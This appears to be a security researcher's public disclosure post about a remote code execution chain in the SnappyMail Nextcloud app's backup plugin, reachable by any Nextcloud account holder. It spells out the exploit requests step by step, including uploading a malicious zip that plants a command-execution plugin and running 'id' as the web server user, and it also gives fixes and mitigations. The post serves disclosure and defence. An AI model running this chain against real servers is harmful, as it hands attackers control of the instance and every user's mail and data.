Skip to main content

snappymail: low-privilege nextcloud user to rce via the backup plugin

·3 mins

tl;dr: the snappymail rce chain is also reachable from inside nextcloud installs, by any logged-in nextcloud user, not just an unauthenticated attacker against a standalone install. the snappymail nextcloud app ships the same vulnerable code, and nextcloud’s bug bounty program explicitly excludes third-party apps, so this goes straight to public disclosure.

affected: snappymail nextcloud app, same underlying version range as the standalone rce: 2.30.0 through 2.38.2 / current master. tested on nextcloud 28, snappymail 2.38.2 and git master at commit c154d23.

precondition: snappymail nextcloud app installed, backup plugin enabled in snappymail’s admin panel, attacker has any valid nextcloud account. no nextcloud or snappymail admin rights needed.


root cause

same four bugs as the standalone writeup: admin auth check is prefix-based, the token endpoint has no auth, the backup plugin checks routing context not authentication, zip extraction has no path or content checks. not repeating them here.

the nextcloud-specific part

the nextcloud app exposes snappymail’s service layer through two routes:

// PageController.php:103
/**
 * @NoAdminRequired
 * @NoCSRFRequired
 */
public function appPost()
{
    return SnappyMailHelper::startApp(true);
}

@NoCSRFRequired skips nextcloud’s own csrf check. @NoAdminRequired means no nextcloud admin rights are needed, but a valid nextcloud session still is: without @PublicPage, nextcloud’s auth middleware rejects fully unauthenticated requests before they reach the controller. the bar drops from “nothing” to “any nextcloud account”, not to “no requirement at all”.

Service::Handle() reads $_SERVER['QUERY_STRING'] to pick the action context. a request to /index.php/apps/snappymail/run/?admin/AppData sets QUERY_STRING = "admin/AppData", which Service::Handle() parses as admin context exactly like a direct standalone request to /?admin/AppData. from there, the four bugs from the standalone chain apply unchanged.

exploit chain

one login to get a nextcloud session, then three requests reusing that session cookie against the vulnerable snappymail endpoint. the account doesn’t need any special privileges, and the resulting code execution runs as the web server user, affecting every user of that nextcloud instance, not just the attacker’s own account.

0. POST /index.php/login
   user=<any nextcloud account>&password=...
   → nextcloud session cookie

1. GET /index.php/apps/snappymail/run/?admin/AppData
   Cookie: <nextcloud session>
   → valid XToken, no snappymail auth

2. POST /index.php/apps/snappymail/run/?admin/Json
   Cookie: <nextcloud session>
   Action=PluginJsonAdminRestoreData
   XToken=<token from step 1>
   [file: evil.zip containing plugins/backup/index.php as a plugin exposing a command-execution hook]
   → same bugs 1, 3, 4 as the standalone chain

3. POST /index.php/apps/snappymail/run/?admin/Json
   Cookie: <nextcloud session>
   Action=PluginJsonEvilShell
   cmd=id
   → { "output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)" }

why public disclosure, not coordinated

the underlying snappymail bug was reported to the vendor on 2026-04-27, see the standalone post for that timeline. before filing anything with nextcloud, i checked their bug bounty program scope, since the vulnerable code ships as a nextcloud app store listing. their program page states:

Third-party apps from the AppStore are not part of our program.

so there’s no nextcloud-side coordination window to wait on for this variant. only the snappymail vendor’s own 90-day deadline applies, and that already passed.

fixes

same as the standalone post: add IsAdminLoggined() to JsonAdminRestoreData() in the backup plugin, validate zip entries before extraction, check uploaded file mime type with finfo, don’t prefix-match action names for admin-only auth gating. the nextcloud-side routes need no fix of their own, they’re correct for normal snappymail usage. the bug is entirely in snappymail’s own code.

if you run the snappymail nextcloud app with the backup plugin enabled: disable it until patched, or restrict which nextcloud users can reach /apps/snappymail/.

cve

id requested via mitre alongside the standalone finding.